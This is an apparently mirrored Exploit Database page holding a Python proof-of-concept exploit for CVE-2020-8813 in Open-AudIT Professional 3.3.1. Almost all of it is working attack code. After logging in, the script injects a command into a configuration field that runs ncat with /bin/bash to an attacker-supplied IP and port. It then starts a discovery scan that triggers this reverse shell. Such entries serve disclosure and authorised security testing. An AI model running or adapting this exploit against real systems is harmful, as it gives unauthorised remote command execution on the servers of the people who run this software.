Open-AudIT Professional 3.3.1 – Remote Code Execution

• Exploit Database
• 140 阅读

• 作者： Askar
  日期： 2020-04-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48393/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126

  # Exploit Title: Open-AudIT Professional 3.3.1 - Remote Code Execution # Date: 2020-04-22 # Exploit Author: Askar # CVE: CVE-2020-8813 # Vendor Homepage: https://opmantek.com/ # Version: v3.3.1 # Tested on: Ubuntu 18.04 / PHP 7.2.24   #!/usr/bin/python3   import requests import sys import warnings import random import string from bs4 import BeautifulSoup from urllib.parse import quote   warnings.filterwarnings("ignore", category=UserWarning, module='bs4')     if len(sys.argv) != 6: print("[~] Usage : ./openaudit-exploit.py url username password ip port") exit()   url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5]   request = requests.session()   def inject_payload(): configuration_path = url+"/en/omk/open-audit/configuration/90" data = 'data={"data":{"id":"90","type":"configuration","attributes":{"value":";ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};"}}}' % (ip, port) request.patch(configuration_path, data) print("[+] Payload injected in settings")     def start_discovery(): discovery_path = url+"/en/omk/open-audit/discoveries/create" post_discovery_path = url+"/en/omk/open-audit/discoveries" scan_name = "".join([random.choice(string.ascii_uppercase) for i in range(10)]) req = request.get(discovery_path)   response = req.text soup = BeautifulSoup(response, "html5lib") token = soup.findAll('input')[5].get("value") buttons = soup.findAll("button") headers = {"Referer" : discovery_path} request_data = { "data[attributes][name]":scan_name, "data[attributes][other][subnet]":"10.10.10.1/24", "data[attributes][other][ad_server]":"", "data[attributes][other][ad_domain]":"", "submit":"", "data[type]":"discoveries", "data[access_token]":token, "data[attributes][complete]":"y", "data[attributes][org_id]":"1", "data[attributes][type]":"subnet", "data[attributes][devices_assigned_to_org]":"", "data[attributes][devices_assigned_to_location]":"", "data[attributes][other][nmap][discovery_scan_option_id]":"1", "data[attributes][other][nmap][ping]":"y", "data[attributes][other][nmap][service_version]":"n", "data[attributes][other][nmap][open|filtered]":"n", "data[attributes][other][nmap][filtered]":"n", "data[attributes][other][nmap][timing]":"4", "data[attributes][other][nmap][nmap_tcp_ports]":"0", "data[attributes][other][nmap][nmap_udp_ports]":"0", "data[attributes][other][nmap][tcp_ports]":"22,135,62078", "data[attributes][other][nmap][udp_ports]":"161", "data[attributes][other][nmap][timeout]":"", "data[attributes][other][nmap][exclude_tcp_ports]":"", "data[attributes][other][nmap][exclude_udp_ports]":"", "data[attributes][other][nmap][exclude_ip]":"", "data[attributes][other][nmap][ssh_ports]":"22", "data[attributes][other][match][match_dbus]":"", "data[attributes][other][match][match_fqdn]":"", "data[attributes][other][match][match_dns_fqdn]":"", "data[attributes][other][match][match_dns_hostname]":"", "data[attributes][other][match][match_hostname]":"", "data[attributes][other][match][match_hostname_dbus]":"", "data[attributes][other][match][match_hostname_serial]":"", "data[attributes][other][match][match_hostname_uuid]":"", "data[attributes][other][match][match_ip]":"", "data[attributes][other][match][match_ip_no_data]":"", "data[attributes][other][match][match_mac]":"", "data[attributes][other][match][match_mac_vmware]":"", "data[attributes][other][match][match_serial]":"", "data[attributes][other][match][match_serial_type]":"", "data[attributes][other][match][match_sysname]":"", "data[attributes][other][match][match_sysname_serial]":"", "data[attributes][other][match][match_uuid]":""   } print("[+] Creating discovery ..") req = request.post(post_discovery_path, data=request_data, headers=headers, allow_redirects=False) disocvery_url = url + req.headers['Location'] + "/execute" print("[+] Triggering payload ..") print("[+] Check your nc ;)") request.get(disocvery_url)     def login(): login_info = { "redirect_url": "/en/omk/open-audit", "username": username, "password": password } login_request = request.post(url+"/en/omk/open-audit/login", login_info) login_text = login_request.text if "There was an error authenticating" in login_text: return False else: return True   if login(): print("[+] LoggedIn Successfully") inject_payload() start_discovery() else: print("[-] Cannot login!")